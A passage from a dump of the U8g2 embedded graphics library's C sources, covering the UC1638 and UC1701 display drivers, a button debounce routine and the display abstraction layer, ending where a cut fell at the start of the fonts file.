u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1638_192x96_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_192x96_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* issue https://github.com/olikraus/u8g2/issues/2075 */ static const u8x8_display_info_t u8x8_uc1638_240x128_display_info = { /* chip_enable_level = */ 0, /* low active CS for this display */ /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* */ /* pre_chip_disable_wait_ns = */ 20, /* */ /* reset_pulse_width_ms = */ 5, /* */ /* post_reset_wait_ms = */ 150, /* sda_setup_time_ns = */ 25, /* */ /* sck_pulse_width_ns = */ 65, /* */ /* sck_clock_hz = */ 2000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* */ /* write_pulse_width_ns = */ 35, /* */ /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 16, /* default_x_offset = */ 0*16+0, /* lower nibble: x offset, upper nibble: y offset */ /* flipmode_x_offset = */ 4*16+0, /* lower nibble: x offset, upper nibble: y offset */ /* pixel_width = */ 240, /* pixel_height = */ 128 }; static const uint8_t u8x8_d_uc1638_240x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0e1, 0x0e2), /* software reset */ /* UC1638*/ U8X8_DLY(5), /* 5 ms */ U8X8_C(0x024), /* set temp comp*/ U8X8_C(0x0c2), /* mirror y and mirror x */ U8X8_C(0x0a2), /* line rate */ //U8X8_C(0x02d), /* charge pump, issue 2075: not used */ U8X8_C(0x0eb), /* set bias, issue 2075: 0x0eb*/ U8X8_CA(0x081, 120), /* set contrast, issue 2075 */ //U8X8_C(0x0d6), /* gray scale 2 */ U8X8_C(0x095), /* set 1 bit per pixel, pattern 0*/ //U8X8_C(0x086), /* COM scan, issue 2075: not used */ //U8X8_CA(0x0f1, 159), /* COM End, issue 2075: not used */ U8X8_C(0x089), /* set auto increment, low bits are AC2 AC1 AC0 */ /* WAS 89 */ //U8X8_C(0x086), /* scan function 0x86 or 0x87: no effect*/ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_uc1638_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_uc1638_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1638_240x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1638_240x128_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1701_dogs102.c ================================================ /* u8x8_d_uc1701_dogs102.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_uc1701_dogs102_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on */ U8X8_C(0x027), /* regulator, booster and follower */ U8X8_CA(0x081, 0x00e), /* set contrast, contrast value, EA default: 0x010, previous value for S102: 0x0e */ U8X8_C(0x0fa), /* Set Temp compensation */ U8X8_C(0x090), /* 0.11 deg/c WP Off WC Off*/ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1701_dogs102_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a4), /* all pixel off, issue 142 */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1701_dogs102_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1701_dogs102_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1701_dogs102_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_uc1701_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 12, /* sck_pulse_width_ns = */ 75, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 13, /* width of 13*8=104 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 30, /* pixel_width = */ 102, /* pixel_height = */ 64 }; uint8_t u8x8_d_uc1701_ea_dogs102(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1701_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* uc1701 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the uc1701 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_uc1701_mini12864.c ================================================ /* u8x8_d_uc1701_mini12864.c (dealextreme, displays from ebay MP3 players) Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_uc1701_mini12864_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a0), /* ADC set to reverse */ U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on */ U8X8_C(0x0f8), /* set booster ratio to */ U8X8_C(0x000), /* 4x */ U8X8_C(0x023), /* set V0 voltage resistor ratio to large */ U8X8_C(0x081), /* set contrast */ U8X8_C(0x027), /* contrast value */ U8X8_C(0x0ac), /* indicator */ // 0x000, /* disable */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1701_mini12864_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a4), /* all pixel off, issue 142 */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1701_mini12864_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1701_mini12864_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_uc1701_mini12864_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_uc1701_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 12, /* sck_pulse_width_ns = */ 75, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 4, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_uc1701_mini12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1701_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_mini12864_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* uc1701 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the uc1701 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. bug: this check should be inside the while loop, see u8x8_d_pcd8544_84x48.c */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_debounce.c ================================================ /* u8x8_debounce.c Key/button simple debounce algorithm (Addon for u8x8) Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static uint8_t u8x8_read_pin_state(u8x8_t *u8x8) { uint8_t i; uint8_t pin_state; pin_state = 255; /* be compatible with the setup of the default pin setup, which is 255 */ for( i = 0; i < U8X8_PIN_INPUT_CNT; i++ ) { pin_state <<= 1; /* the callback function should put the return value into this variable */ u8x8->gpio_result = 1; u8x8_gpio_call(u8x8, U8X8_MSG_GPIO(i+U8X8_PIN_OUTPUT_CNT), 0); pin_state |= u8x8->gpio_result & 1; } return pin_state; } /* return 0 to U8X8_PIN_INPUT_CNT-1 if there is a difference return U8X8_PIN_INPUT_CNT if there is no difference */ static uint8_t u8x8_find_first_diff(uint8_t a, uint8_t b) { uint8_t mask; uint8_t i; mask = 1; i = U8X8_PIN_INPUT_CNT; do { i--; if ( (a & mask) != (b & mask) ) return i; mask <<= 1; } while( i > 0 ); return U8X8_PIN_INPUT_CNT; } /* State A: u8x8->debounce_last_pin_state == current_state --> State A u8x8->debounce_last_pin_state != current_state --> u8x8->debounce_last_pin_state = current_state --> State B + cnt State B + cnt --> state-- State B u8x8->debounce_last_pin_state == current_state --> keypress detected --> State C u8x8->debounce_last_pin_state != current_state --> State A State C u8x8->debounce_last_pin_state == current_state --> State C u8x8->debounce_last_pin_state != current_state --> State A */ #ifdef __unix__xxxxxx_THIS_IS_DISABLED #include #include uint8_t u8x8_GetMenuEvent(u8x8_t *u8x8) { int c; c = getc(stdin); switch(c) { case 'n': return U8X8_MSG_GPIO_MENU_NEXT; case 'p': return U8X8_MSG_GPIO_MENU_PREV; case 's': return U8X8_MSG_GPIO_MENU_SELECT; case 'h': return U8X8_MSG_GPIO_MENU_HOME; case 'x': exit(0); default: puts("press n, p, s, h or x"); break; } return 0; } #else /* __unix__ */ #define U8X8_DEBOUNCE_WAIT 2 /* do debounce and return a GPIO msg which indicates the event */ /* returns 0, if there is no event */ #if defined(__GNUC__) && !defined(__CYGWIN__) # pragma weak u8x8_GetMenuEvent #endif uint8_t u8x8_GetMenuEvent(u8x8_t *u8x8) { uint8_t pin_state; uint8_t result_msg = 0; /* invalid message, no event */ pin_state = u8x8_read_pin_state(u8x8); /* States A, B, C & D are encoded in the upper 4 bit*/ switch(u8x8->debounce_state) { case 0x00: /* State A, default state */ if ( u8x8->debounce_default_pin_state != pin_state ) { //u8x8->debounce_last_pin_state = pin_state; u8x8->debounce_state = 0x010 + U8X8_DEBOUNCE_WAIT; } break; case 0x10: /* State B */ //if ( u8x8->debounce_last_pin_state != pin_state ) if ( u8x8->debounce_default_pin_state == pin_state ) { u8x8->debounce_state = 0x00; /* back to state A */ } else { /* keypress detected */ u8x8->debounce_last_pin_state = pin_state; //result_msg = U8X8_MSG_GPIO_MENU_NEXT; u8x8->debounce_state = 0x020 + U8X8_DEBOUNCE_WAIT; /* got to state C */ } break; case 0x20: /* State C */ if ( u8x8->debounce_last_pin_state != pin_state ) { u8x8->debounce_state = 0x00; /* back to state A */ } else { u8x8->debounce_state = 0x030; /* got to state D */ } break; case 0x30: /* State D */ /* wait until key release */ if ( u8x8->debounce_default_pin_state == pin_state ) { u8x8->debounce_state = 0x00; /* back to state A */ result_msg = U8X8_MSG_GPIO(u8x8_find_first_diff(u8x8->debounce_default_pin_state, u8x8->debounce_last_pin_state)+U8X8_PIN_OUTPUT_CNT); } else { //result_msg = U8X8_MSG_GPIO_MENU_NEXT; // maybe implement autorepeat here } break; default: u8x8->debounce_state--; /* count down, until there is a valid state */ break; } return result_msg; } #endif /* __unix__ */ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_display.c ================================================ /* u8x8_display.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Abstraction layer for the graphics controller. Main goal is the placement of a 8x8 pixel block (tile) on the display. */ #include "u8x8.h" /*==========================================*/ /* internal library function */ /* this is a helper function for the U8X8_MSG_DISPLAY_SETUP_MEMORY function. It can be called within the display callback function to carry out the usual standard tasks. */ void u8x8_d_helper_display_setup_memory(u8x8_t *u8x8, const u8x8_display_info_t *display_info) { /* 1) set display info struct */ u8x8->display_info = display_info; u8x8->x_offset = u8x8->display_info->default_x_offset; } /* this is a helper function for the U8X8_MSG_DISPLAY_INIT function. It can be called within the display callback function to carry out the usual standard tasks. */ void u8x8_d_helper_display_init(u8x8_t *u8x8) { /* 2) apply port directions to the GPIO lines and apply default values for the IO lines*/ u8x8_gpio_Init(u8x8); u8x8_cad_Init(u8x8); /* this will also call U8X8_MSG_BYTE_INIT, byte init will NOT call GPIO_INIT */ /* 3) do reset */ u8x8_gpio_SetReset(u8x8, 1); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_MILLI, u8x8->display_info->reset_pulse_width_ms); u8x8_gpio_SetReset(u8x8, 0); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_MILLI, u8x8->display_info->reset_pulse_width_ms); u8x8_gpio_SetReset(u8x8, 1); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_MILLI, u8x8->display_info->post_reset_wait_ms); } /*==========================================*/ /* official functions */ uint8_t u8x8_DrawTile(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t cnt, uint8_t *tile_ptr) { u8x8_tile_t tile; tile.x_pos = x; tile.y_pos = y; tile.cnt = cnt; tile.tile_ptr = tile_ptr; return u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_DRAW_TILE, 1, (void *)&tile); } /* should be implemented as macro */ void u8x8_SetupMemory(u8x8_t *u8x8) { u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SETUP_MEMORY, 0, NULL); } /* This will just init the display interface, compared to InitDisplay, it will not issue a reset and also not upload the init code. Comparison: Call u8x8_InitInterface u8x8_InitDisplay Init Interface yes yes Reset Display no yes Upload Display Init Code no yes u8x8_InitInterface() is an alternative function to u8x8_InitDisplay(). Do not call both. */ void u8x8_InitInterface(u8x8_t *u8x8) { u8x8_gpio_Init(u8x8); u8x8_cad_Init(u8x8); /* this will also call U8X8_MSG_BYTE_INIT, byte init will NOT call GPIO_INIT */ } /* This will sent the display init message to the display. The display itself will then call u8x8_d_helper_display_init() from above. This includes: GPIO Init (set port directions) BYTE init (part of CAD init: which may set some levels) CAD init (which will set things like I2C default address) Issue a reset to the display: This will usually turn off the display Additonally each display will set the init code to the display, which will also turn of the display in most cases (Arduino code disable power save mode later) Actually this procedure should be better called InitInterfaceAndDisplay, because it actually does both. (actually u8x8_InitInterface() is not called directly but only u8x8_gpio_Init and u8x8_cad_Init which in turn is called by u8x8_InitInterface()) InitDisplay is called by the Arduino begin() function In some cases it is not required to init the display (for example if the display is already running, but the controller comes out of deep sleep mode). Then InitDisplay can be skipped, but u8x8_InitInterface() (== u8x8_gpio_Init() and u8x8_cad_Init()) need to be executed. */ void u8x8_InitDisplay(u8x8_t *u8x8) { u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_INIT, 0, NULL); /* this will call u8x8_d_helper_display_init() and send the init seqence to the display */ /* u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SET_FLIP_MODE, 0, NULL); */ /* It would make sense to call flip mode 0 here after U8X8_MSG_DISPLAY_INIT */ } void u8x8_SetPowerSave(u8x8_t *u8x8, uint8_t is_enable) { u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SET_POWER_SAVE, is_enable, NULL); } void u8x8_SetFlipMode(u8x8_t *u8x8, uint8_t mode) { u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SET_FLIP_MODE, mode, NULL); } void u8x8_SetContrast(u8x8_t *u8x8, uint8_t value) { u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_SET_CONTRAST, value, NULL); } void u8x8_RefreshDisplay(u8x8_t *u8x8) { u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_REFRESH, 0, NULL); } void u8x8_ClearDisplayWithTile(u8x8_t *u8x8, const uint8_t *buf) { u8x8_tile_t tile; uint8_t h; tile.x_pos = 0; tile.cnt = 1; tile.tile_ptr = (uint8_t *)buf; /* tile_ptr should be const, but isn't */ h = u8x8->display_info->tile_height; tile.y_pos = 0; do { u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_DRAW_TILE, u8x8->display_info->tile_width, (void *)&tile); tile.y_pos++; } while( tile.y_pos < h ); } void u8x8_ClearDisplay(u8x8_t *u8x8) { uint8_t buf[8] = { 0, 0, 0, 0, 0, 0, 0, 0 }; u8x8_ClearDisplayWithTile(u8x8, buf); } void u8x8_FillDisplay(u8x8_t *u8x8) { uint8_t buf[8] = { 255, 255, 255, 255, 255, 255, 255, 255 }; u8x8_ClearDisplayWithTile(u8x8, buf); } void u8x8_ClearLine(u8x8_t *u8x8, uint8_t line) { uint8_t buf[8] = { 0, 0, 0, 0, 0, 0, 0, 0 }; u8x8_tile_t tile; if ( line < u8x8->display_info->tile_height ) { tile.x_pos = 0; tile.y_pos = line; tile.cnt = 1; tile.tile_ptr = (uint8_t *)buf; /* tile_ptr should be const, but isn't */ u8x8->display_cb(u8x8, U8X8_MSG_DISPLAY_DRAW_TILE, u8x8->display_info->tile_width, (void *)&tile); } } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_fonts.c ================================================ /* u8x8_fonts.c */ #include "u8x8.h" /* Fontname: -FreeType-Amstrad CPC 